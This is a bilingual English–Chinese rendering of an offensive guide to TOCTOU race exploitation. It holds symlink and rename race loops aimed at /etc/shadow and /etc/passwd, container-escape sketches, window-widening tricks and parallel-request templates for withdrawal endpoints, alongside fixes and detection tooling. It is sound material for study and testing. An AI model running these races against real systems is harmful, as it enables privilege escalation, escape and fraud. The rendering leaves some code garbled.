offensive-toctou

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

TOCTOU — Time-of-Check / Time-of-Use Exploitation

TOCTOU — Time-of-Check / Time-of-Use 利用

A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
只要代码先检查某个属性(文件所有者、路径目标、令牌有效性、余额),随后又假定该属性仍然成立并据此执行操作,就存在 TOCTOU 漏洞。检查与使用之间存在一个窗口——你的任务是扩大该窗口,并替换底层对象。

Quick Workflow

快速工作流

  1. Identify the check (syscall, function, validation step) and the use (the privileged action)
  2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
  3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
  4. Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
  5. Run a tight loop and confirm the post-use state corresponds to the swapped target

  1. 识别 检查(syscall、函数、验证步骤)与 使用(特权操作)
  2. 确认检查与使用并非作用于同一个内核对象(FD、inode、原子快照)
  3. 构建一个能在检查与使用之间替换对象的原语(symlink、mount、mv、并行请求)
  4. 使用 FUSE、慢速文件系统、调度器技巧或单数据包 HTTP/2 来 扩大窗口
  5. 运行紧凑循环,并确认使用后的状态对应已替换的目标

The Core Pattern

核心模式

c
// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}
Between
access
and
open
, an attacker replaces
path
with a symlink to
/etc/shadow
. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use
O_NOFOLLOW
,
openat
with
AT_SYMLINK_NOFOLLOW
,
fstat
on the FD, etc.

c
// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}
在
access
与
open
之间,攻击者会将
path
替换为指向
/etc/shadow
的符号链接。检查阶段看到的是攻击者拥有的文件;使用阶段则以 root 身份打开 shadow。
修复原则始终是:操作内核对象,而不是路径。 使用
O_NOFOLLOW
、带
AT_SYMLINK_NOFOLLOW
的
openat
、对 FD 执行
fstat
等。

Filesystem TOCTOU

文件系统 TOCTOU

Symlink Swap (Classic)

Symlink 替换(经典)

bash
undefined
bash
undefined

Setup target — privileged binary that writes to user-supplied path after access() check

Setup target — privileged binary that writes to user-supplied path after access() check

victim --output /tmp/.attacker/output
victim --output /tmp/.attacker/output

Race loop

Race loop

while true; do ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null done &
while true; do ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null done &

Run victim repeatedly

Run victim repeatedly

while true; do victim --output /tmp/.attacker/output; done
undefined
while true; do victim --output /tmp/.attacker/output; done
undefined

renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap

renameat2(RENAME_EXCHANGE) — 原子单帧交换

c
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE
swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
c
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE
会原子地交换两个路径——结合 FUSE 暂停目录查找,在 Linux ≥ 3.15 上这是一种近乎确定性的原语。

Directory Swap (mv between two prepared trees)

目录替换(在两棵预备好的目录树之间使用 mv)

When the victim resolves
parent/file
, swap
parent
itself:
bash
mv good_dir parent && mv evil_dir parent_was_good_dir
当目标进程解析
parent/file
时,替换
parent
本身:
bash
mv good_dir parent && mv evil_dir parent_was_good_dir

If victim is mid-resolution of
parent/file
, dir cache may pin one side

If victim is mid-resolution of
parent/file
, dir cache may pin one side

undefined
undefined

Bind Mount / Mount-Namespace Swap (root-only or in user-ns)

绑定挂载 / Mount Namespace 替换(仅限 root 或在 user namespace 中)

bash
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
bash
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file

Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done


In containerized contexts with `CAP_SYS_ADMIN` in a user namespace, this is the foundation of multiple runc/CVE escape chains.

---

在容器化环境中,如果 user namespace 内拥有 `CAP_SYS_ADMIN`,这就是多条 runc/CVE 逃逸链的基础。

---

Window-Widening Primitives

窗口扩大原语

The race is always winnable in theory; in practice you need the window large enough for your swap.
从理论上讲,竞态总是可以被利用;实践中需要窗口足够大,以容纳你的替换操作。

FUSE-Backed Slow Filesystem

FUSE 支持的慢速文件系统

Mount a FUSE filesystem you control. When the victim does
open
or
stat
, your handler sleeps:
python
undefined
挂载一个由你控制的 FUSE 文件系统。当目标进程执行
open
或
stat
时,你的 handler 会休眠:
python
undefined

fusepy

fusepy

class SlowFS(Operations): def getattr(self, path, fh=None): if path == '/trigger': time.sleep(5) # stretch the check return os.lstat(self.root + path).dict

Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
class SlowFS(Operations): def getattr(self, path, fh=None): if path == '/trigger': time.sleep(5) # stretch the check return os.lstat(self.root + path).dict

此时,目标进程内部的检查调用会阻塞 5 秒——有充足时间替换检查后的文件名。

Userfaultfd (kernel-level page faults)

Userfaultfd(内核级 page fault)

c
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);
userfaultfd
can pause a kernel-side
copy_from_user
mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires
vm.unprivileged_userfaultfd=1
(off by default in many distros).
c
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);
注册一个 userfault 区域;当目标进程读取用户可控缓冲区时,在 page fault handler 中将其暂停,交换数据后再恢复执行。
userfaultfd
可以在内核侧的
copy_from_user
读取过程中将其暂停,从而实现 double-fetch。Linux ≥ 5.11 要求
vm.unprivileged_userfaultfd=1
(许多发行版默认关闭)。

Cgroup Freeze

Cgroup Freeze

bash
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
bash
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause

swap files

swap files

echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
undefined
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
undefined

Single-CPU Pinning + sched_yield

单 CPU 绑定 + sched_yield

c
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

c
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

Kernel Double-Fetch

内核 Double-Fetch

A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
c
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.
Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.

内核函数两次读取同一个用户空间位置;攻击者在此期间使用 userfaultfd 或另一个线程修改其内容。
c
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.
工具:KFENCE、Bochspwn-Reloaded、DECAF——用于检测 double-fetch 的模糊测试器和分析器。

/proc and procfs Races

/proc 与 procfs 竞态

/proc/pid/exe + ptrace

/proc/pid/exe + ptrace

/proc/<pid>/exe
is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).
c
// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/<pid>/exe
是一个 magic symlink。如果特权二进制文件在 fork+exec 之后打开它,攻击者可以与 exec 发起竞态,使 exe 指向慢速文件系统上由攻击者控制的二进制文件。这是 CVE-2019-5736(runc)的基础。
c
// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE

/proc/pid/mem

/proc/pid/mem

open("/proc/pid/mem")
followed by
lseek+write
historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.
历史上,先执行
open("/proc/pid/mem")
再执行
lseek+write
可以绕过写保护。现代内核会在写入时强制校验 ptrace 凭据,但嵌入式内核中仍存在旧有检查或被补丁移除的检查。

/proc/pid/cwd / fd / root

/proc/pid/cwd / fd / root

Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of
/proc/pid/root/etc/shadow
from a sibling container is a recurring vuln class.

符号链接在解引用时会使用目标任务所在的 namespace 解析。从同级容器跨 namespace 解引用
/proc/pid/root/etc/shadow
是一类反复出现的漏洞。

Setuid Binary TOCTOU

Setuid 二进制文件 TOCTOU

c
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}
Symlink swap between
access
and
open
makes the binary read root-readable files for unprivileged users.
Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
bash
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
c
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}
在
access
与
open
之间进行符号链接替换,可使非特权用户借该二进制文件读取仅 root 可读的文件。
审查 setuid/setgid 二进制文件时的经验法则: syscall trace 中每次出现两次的路径都是潜在检查点。
bash
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"

Multiple resolutions of the same user-controlled path = TOCTOU surface

Multiple resolutions of the same user-controlled path = TOCTOU surface


---

---

Container Escape via TOCTOU

通过 TOCTOU 实现容器逃逸

CVE-2019-5736 (runc) —
/proc/self/exe
Overwrite

CVE-2019-5736(runc)—
/proc/self/exe
覆盖

When a container runs
docker exec
, runc opens
/proc/self/exe
from the host. By replacing the in-container binary with a symlink to
/proc/self/exe
, the host runc rewrites itself.
当容器运行
docker exec
时,runc 会从宿主机打开
/proc/self/exe
。通过将容器内二进制文件替换为指向
/proc/self/exe
的符号链接,宿主机的 runc 会改写自身。

CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak

CVE-2024-21626(runc “Leaky Vessels”)— 工作目录 FD 泄漏

A leaked file descriptor to the host filesystem could be inherited via
WORKDIR /proc/self/fd/<n>
— the container's first process held a host FD, races on namespace setup let it act on host paths.
指向宿主文件系统的泄漏文件描述符可以通过
WORKDIR /proc/self/fd/<n>
被继承——容器的第一个进程持有宿主 FD,而 namespace 设置期间的竞态使其能够操作宿主路径。

Symlink-on-Mount Race

挂载时 Symlink 竞态

When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to
/
. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.

当 runtime 解析绑定挂载的源路径/目标路径(例如为 tmpfs 设置做解析)时,快速攻击者会将路径中的目录替换为指向
/
的符号链接。这在 Kubernetes hostPath、Docker volumes 和 OpenShift SCC 绕过中很常见。

Web / API TOCTOU

Web / API TOCTOU

Auth vs Authz Split at Gateway

网关处的 Auth vs Authz 分离

Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
If the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
如果 JWT 在网关缓存与网关验证之间被吊销,或者网关将“有效”结果缓存过久,就会出现吊销后仍可访问的问题。缓存键混淆(不同网关节点)会扩大窗口。

Permission Recheck Skipped on Long-Running Action

长时间运行的操作跳过权限重新检查

python
undefined
python
undefined

Vulnerable

Vulnerable

def long_export(user, resource_id): check_access(user, resource_id) # check data = stream_resource(resource_id) # use — minutes long return data # access could have been revoked mid-stream

Test: revoke access while a download is mid-stream; if data continues, recheck is missing.
def long_export(user, resource_id): check_access(user, resource_id) # check data = stream_resource(resource_id) # use — minutes long return data # access could have been revoked mid-stream

测试方式:在下载进行到一半时吊销访问权限;如果数据仍继续传输,说明缺少重新检查。

Idempotency-Key Reuse with Different Body

对不同请求体复用 Idempotency-Key

http
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1 }
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1000 }   # Same key, different body
Many implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
http
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1 }
POST /api/withdraw  Idempotency-Key: K1  { "amount": 1000 }   # Same key, different body
许多实现只以 key 作为索引,而不是 key+body-hash → 第二个请求会返回第一个请求的响应,同时仍在处理第二次扣款。

Single-Packet Multi-Request

单数据包多请求

HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
This is the standard primitive for web TOCTOU since 2023; old
httpie ... &
parallelism is obsolete.
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
自 2023 年起,这已成为 Web TOCTOU 的标准原语;旧式的
httpie ... &
并行方式已经过时。

Limit / Quota TOCTOU

限额 / 配额 TOCTOU

python
undefined
python
undefined

Vulnerable

Vulnerable

if user.balance >= amount: # check user.balance -= amount # use — non-atomic read-modify-write pay(user, amount)

Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (`UPDATE ... WHERE balance >= amount`).

---
if user.balance >= amount: # check user.balance -= amount # use — non-atomic read-modify-write pay(user, amount)

发送 N 个并行请求,每个请求都会看到扣减前相同的余额。修复方式:使用带约束条件的原子扣减(`UPDATE ... WHERE balance >= amount`)。

---

Mobile / Binary Cookbook

移动端 / 二进制文件实战手册

Android: Intent Redirect TOCTOU

Android:Intent 重定向 TOCTOU

Activity checks calling package via
getCallingPackage()
then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.
Activity 通过
getCallingPackage()
检查调用方包名,随后通过 Intent 分发——在检查与分发之间,攻击者会替换底层 ContentProvider URI 的 authority 解析结果。

iOS: NSXPC Audit Token Confusion

iOS:NSXPC Audit Token 混淆

audit_token_t
should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.

应在每次处理 XPC 消息开始时捕获
audit_token_t
。如果服务只捕获一次并重复使用,攻击者可以利用 PID 复用竞态进行冒充。

Detection & Tooling

检测与工具

ToolLayerUse
strace -e trace=file -f
Linux syscallFind duplicate path resolutions
bpftrace
/
bcc
KernelProbe specific syscalls' args at scale
ThreadSanitizer (TSan)Userspace C/C++Compile-time race detection
Helgrind / DRDUserspacePthread race detection
Bochspwn-ReloadedKernelDouble-fetch detection
syzkaller
KernelCoverage-guided race fuzzing
Burp Suite (Repeater single-packet)Web/HTTPConcurrent request races
racepwn
WebMulti-thread + timing harness
Turbo Intruder
WebPipelined parallel requests
bash
undefined
工具层级用途
strace -e trace=file -f
Linux syscall查找重复的路径解析
bpftrace
/
bcc
内核大规模探测特定 syscall 的参数
ThreadSanitizer(TSan)用户空间 C/C++编译时竞态检测
Helgrind / DRD用户空间Pthread 竞态检测
Bochspwn-Reloaded内核Double-fetch 检测
syzkaller
内核基于覆盖率引导的竞态模糊测试
Burp Suite(Repeater single-packet)Web/HTTP并发请求竞态
racepwn
Web多线程 + 计时测试工具
Turbo IntruderWeb流水线式并行请求
bash
undefined

Quick filesystem TOCTOU finder against a binary

Quick filesystem TOCTOU finder against a binary

strace -f -e trace=file ./target 2>&1 |
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2}' |
sort | uniq -c | sort -rn | head
strace -f -e trace=file ./target 2>&1 |
awk -F'"' '/access|stat|lstat|open|readlink/ {print $2} |
sort | uniq -c | sort -rn | head

Paths appearing N>1 times → TOCTOU candidates

Paths appearing N>1 times → TOCTOU candidates


---

出现次数 N>1 的路径 → TOCTOU 候选点

---

Race Loop Templates

竞态循环模板

Filesystem (C)

文件系统(C)

c
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
    pid_t p = fork();
    if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
    for(;;) execve(victim, args, env);
}
c
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
    pid_t p = fork();
    if (!p) { for(;;) syscall(SYS_renameat2, -100,"a",-100,"b",RENAME_EXCHANGE); }
    for(;;) execve(victim, args, env);
}

Web (Python — single-packet HTTP/2)

Web(Python — 单数据包 HTTP/2)

python
undefined
python
undefined

Use httpx or h2 directly; pyburp or turbo-intruder for production

Use httpx or h2 directly; pyburp or turbo-intruder for production

import httpx, anyio async def race(): async with httpx.AsyncClient(http2=True) as c: async with anyio.create_task_group() as tg: for _ in range(30): tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100}) anyio.run(race)

For real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.

---
import httpx, anyio async def race(): async with httpx.AsyncClient(http2=True) as c: async with anyio.create_task_group() as tg: for _ in range(30): tg.start_soon(c.post, "https://app/withdraw", json={"amount": 100}) anyio.run(race)

若要在 TLS 环境下获得真正的可靠性,优先使用 Burp 的 single-packet 功能——它会构造 HTTP/2 的最后一个字节同步。

---

Reporting / Severity

报告 / 严重性

A TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A "1-in-10000 race that gives root" is the same finding as a "deterministic race that gives root" once it's chained with a window-widening primitive. Always demonstrate:
  1. The minimum reproducer
  2. The window-widener used
  3. The success rate observed
  4. The post-exploit primitive achieved

TOCTOU 发现项的严重程度取决于:窗口大小(确定性还是概率性)、所需邻接条件(本地用户 / 容器 / 已认证的远程用户),以及使用后原语(文件写入、认证绕过、金钱)。一旦与窗口扩大原语结合,“万分之一成功率但可获得 root 的竞态”与“可确定获得 root 的竞态”属于同一严重级别的发现。务必证明:
  1. 最小复现器
  2. 使用的窗口扩大手段
  3. 观察到的成功率
  4. 达成的利用后原语

Key References

关键参考资料